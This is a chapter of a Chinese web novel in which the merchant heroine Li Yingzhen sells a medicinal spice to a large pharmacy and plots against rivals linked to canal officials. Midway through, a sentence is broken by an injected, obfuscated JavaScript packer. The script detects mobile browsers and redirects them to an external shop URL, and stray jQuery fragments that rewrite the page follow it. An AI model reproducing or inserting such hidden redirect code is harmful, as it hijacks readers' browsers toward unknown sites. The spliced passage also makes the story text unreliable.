摊前那少年约莫十六七岁，腰间系着个半旧的荷包，一副学徒模样。


    他蹲下身，凑近摊子上那包金不换香料，仔细嗅了嗅，又用指尖捻起一小撮，放在掌心细细端详。


    “摊主，你这香料，说是洛安府来的？”少年抬头问，眼神里透着机灵。


    “是，洛安成安县特产。”黎映真温声应道，“小哥好眼力，识货。”


    “跟师父学了几年药材辨识，多少懂些皮毛。”少年说着，又将那撮香料凑到鼻尖，“这气味……馥郁中带清凉，闻着舒坦。除了做菜，还能入药吧？”


    黎映真心头一动，面上仍平静道：“是有些安神健脾的功效，不过咱们这儿是当香料卖的。”


    “不对。这味道里有股子药气，瞒不过我。”少年摇头，随后站起身，拍了拍手上的碎屑，“摊主，你手头有多少这货？我们德济堂想看看。”


    她故意露出为难之色，道：“这……不瞒小哥，我这次来淮北是探亲，顺带捎了些家乡特产，想着换点盘缠。量不多，统共也就十来斤。”


    “十来斤也行。”少年很干脆，“我们德济堂的老掌柜最近正琢磨新方子，缺一味合适的佐药。摊主要是方便，能不能跟我走一趟？让掌柜的亲自瞧瞧？”


    黎映真沉吟片刻，点头：“成。那就劳烦小哥引路。”


    她利索地收起摊子，背上包袱，跟着那少年往街市深处走。


    少年很是健谈，自称姓刘，是德济堂的学徒，跟老掌柜孙岐山学了五年药材。


    而德济堂，正是他口中称是岩县内最大的药材行。


    “我们德济堂啊，在淮北六州有三十多家分号，连京城都有铺面。”小刘语气里透着自豪，“我师父说了，药材生意最讲究德和济，德行在先，济世为怀。所以我们堂里的药，从来不掺假，不抬价，童叟无欺。”


    黎映真听得认真，适时接话道：“孙掌柜高义。只是做这么大买卖，货源怕是得费不少心思吧？”


    “那可不。”小刘压低声音，“淮北本地的药材，咱们有专门的药农供货。南边的、西边的稀罕货，都得靠商队运。


    “前阵子，一批川贝在过廖洲时被漕运上的人扣了，最后我们掌柜费了好些功夫才疏通。”


    又是漕运。


    黎映真默默记下。


    说话间，两人已走到一座气派的三层楼阁前。


    黑漆金字的匾额高悬，“德济堂”三个大字遒劲有力。


    门前人来人往，抓药的、问诊的络绎不绝，几个伙计在柜台后忙前忙后。


    小刘领着黎映真绕到侧门，进了后堂。


    院子里晒满了各色药材，空气中弥漫着复杂的药香。


    一个须发花白的老者正蹲在一簸箕黄芪前，用手捻着药材，神色专注。


    “师父，我回来了。”小刘恭敬道，“还带了个人回来。”


    小刘让开一步，道：“这是我刚在街上认识的黎老板，从洛安府成安县来，有一种新奇香料，就请回来给师父瞧瞧。”


    老者正是孙岐山。


    他抬起头，目光落在黎映真身上，打量着。


    黎映真主动解开包袱，将整包金不换奉上，道：“孙老先生。”


    孙岐山接过，和方才小刘在街头那样，从观色到闻味，最后取一小片放入口中，细细咀嚼。


    半晌，他睁开眼，眼中闪过精光：“这东西，哪儿来的？”


    “洛安府一处山中，偶然发现的。”黎映真从容应答，“当地百姓弃之如敝屣，但我偶然发现它对心神不宁、食欲不振也有些效果。”


    孙岐山站起身，拍掉手上的药屑，道：“这香气入脾经，味微辛而性温，既能醒脾开胃，又能安神定悸。若是炮制得法，药效还能再提三成。”


    黎映真知道这金不换是好东西，却未料到在孙岐山这儿能是这样好的好东西。


    “黎老板。”孙岐山看向黎映真，“你手里有多少？我全要了。”


    黎映真却摇头道：“实不相瞒，这香料虽不见的是多稀罕的东西，也曾遭乡民鄙夷，却也不是想要便有的，产量……颇为有限。”


    “我手头这十来斤已是全部。”毕竟不是实打实的说辞，黎映真顿了顿，尽量维持得平静些，才继续开口“而且这生意，我想做长久的，不是一锤子买卖。”


    孙岐山挑眉：“怎么说？”


    “这经我家乡试种改良，已小有规模。”黎映真道，“若德济堂真有兴趣，咱们可以谈谈长期供货。但有两个前提，第一，孙老先生得教我如何炮制，让它药效最佳；第二，价格得公道，不能压得太狠，毕竟种植的百姓也得糊口。”


    孙岐山盯着她看了好一会儿，忽然笑道：“饮水思源，嗯，这生意有的谈。不过老夫得先知道，黎老板到底是什么来路。做药材生意，最忌来历不明。”


    黎映真深揖道：“晚辈黎映真，是洛安府成安县五味轩掌柜，也是成安互助商会的会长。此次前来淮北，是为商会寻一条生路。”


    “成安互助商会？”孙岐山捻须蹙眉，凝神思索良久，道，“《洛安邸报》上说的就是你们？”


    “淮北也有这份邸报？”


    这倒是有些出乎黎映真的意料。


    “老夫虽年迈，生意场上的朋友还是有一些的。”孙岐山再看向黎映真的目光渐渐没有最初那样和善。


    察觉到孙岐山的异样，黎映真挺胸昂首，正色道：“邸报所言多为打压，商会能赢得云锦八州的茶盐专卖权，虽有几分侥幸，却也是朝廷对我们的认可。


    “如今商会面临困局，我作为一会之长，只想尽快为会内众人找到一条活路，至于茶盐专卖之事，我再想，的确是力有不逮，会找机会上书陈情，请朝廷另寻贤能。”


    “有这茶盐专卖，何愁商会走入死路？”


    “能者方能居之，黎映真自认暂时难当此大任，只等工坊建造完毕，就去上京请罪。但眼下，不能置商会中的兄弟姐妹不顾，所以才来淮北寻求生计，恰遇见了孙老先生，还请先生帮我。”


    她又是一个深揖，迟迟没有起身。


    只有风吹过晾晒药材的竹簸箕，发出轻微的沙沙声。


    许久，孙岐山长长吐出一口气。


    “好。”老者的声音虽沧桑沙哑，却中气十足，“这批香料，德济堂收了。炮制的法子，老夫可以教你。长期供货的事，也可以谈。”


    黎映真带上这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366775|192900||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    些金不换本就是以备不时之需，没成想当真有了用处。


    孙岐山做生意也爽快，很快便与黎映真签订了契约。


    小刘送黎映真到德济堂到门口，忍不住小声道：“黎老板，我第一次看师父这么快做决定，他是真看好你。”


    黎映真笑道：“替我谢谢孙老先生。不过，我还想请小刘兄弟帮个忙。”


    “什么事？”


    “你在德济堂做事，消息灵通。这几日我也还在岩县，若是你听到了什么关于漕运和各大商号的动向，能不能给我递个信？”


    小刘先是一愣，随即明白过来，重重点头大奥：“成。黎老板是实在人，我乐意帮。”


    黎映真回到租住的小院时，陈家兄弟已经回来了。


    陈山脸色不太好看，道：“黎会长，隆昌号那边回了帖子，请咱们明日过府一叙。但递帖子的时候，我瞧见彩帛行的人也去了隆昌号，待了快半个时辰才走。”


    “彩帛行？”黎映真心头一凛，但细想两家商号都在岩县，彼此间有些往来也正常，神色宽和了几分。


    “我打听到，彩帛行东家新纳的那个小妾，她兄长就在漕运总督衙门当差。我怀疑扣隆昌号粮食的事，彩帛行可能掺和了一脚。”陈山道。


    黎映真沉思片刻，又问道：“锦绣坊和云织庄那边呢？”


    “两边都派人来递了话，说明日想见见咱们。”陈石道，“不过语气都很谨慎，怕是也在观望。”


    做生意谨慎些总没错，黎映真对眼下的局面还算满意。


    “还有。”陈石道，“我去衙附近转悠，听见两个小吏在闲聊，说洛安府那边递了公文过来，要淮北各州县密切留意可疑商旅，尤其是‘宣扬奇谈、煽动民情’者。我听着，像是像是冲着咱们来的。”


    黎映真握紧了拳，十一娘确实在不遗余力地围追堵截。


    她走到窗边，看着院外渐渐暗下来的天色。


    “陈山。”她忽然开口，“明天你和我一起去见隆昌号东家。陈石，你去锦绣坊和云织庄，就说我临时有事，改日再约。”


    “黎会长是想……”


    “先攻其一点，再逐个击破。”黎映真转身，眸光决然，“隆昌号是淮北粮商之首，拿下他，咱们就有了粮食，也有了以后来淮北打交道的第一块基石。至于彩帛行……”


    她顿了顿，嘴角勾起一抹冷冽的弧度，道：“他们要是真和漕运上的人勾结，坑害同行，那咱们就替天行道，顺道……卖隆昌号一个人情。”


    陈石会意，点头道：“我明白了，这就继续去打探。”


    黎映真原是想要屏退二人，却见他俩神色游移不定，似乎还有事想说未说。


    “怎么了？”


    “岩县之行毕竟匆忙，我们二人未必能尽善尽美，所以今日，我送了书信回上京。”


    多余的话都在三人此刻的沉默中。


    倒是黎映真坦然道：“本就是和上京齐心协力之举，让那边多知道我们的情况，有利于他们调整计划和给我们提供帮助，你们做得对。”


    曾经从未想过，有朝一日会以这样的方式和李弦联系在一起。


    那人好像离开了，却又仿佛还在身边。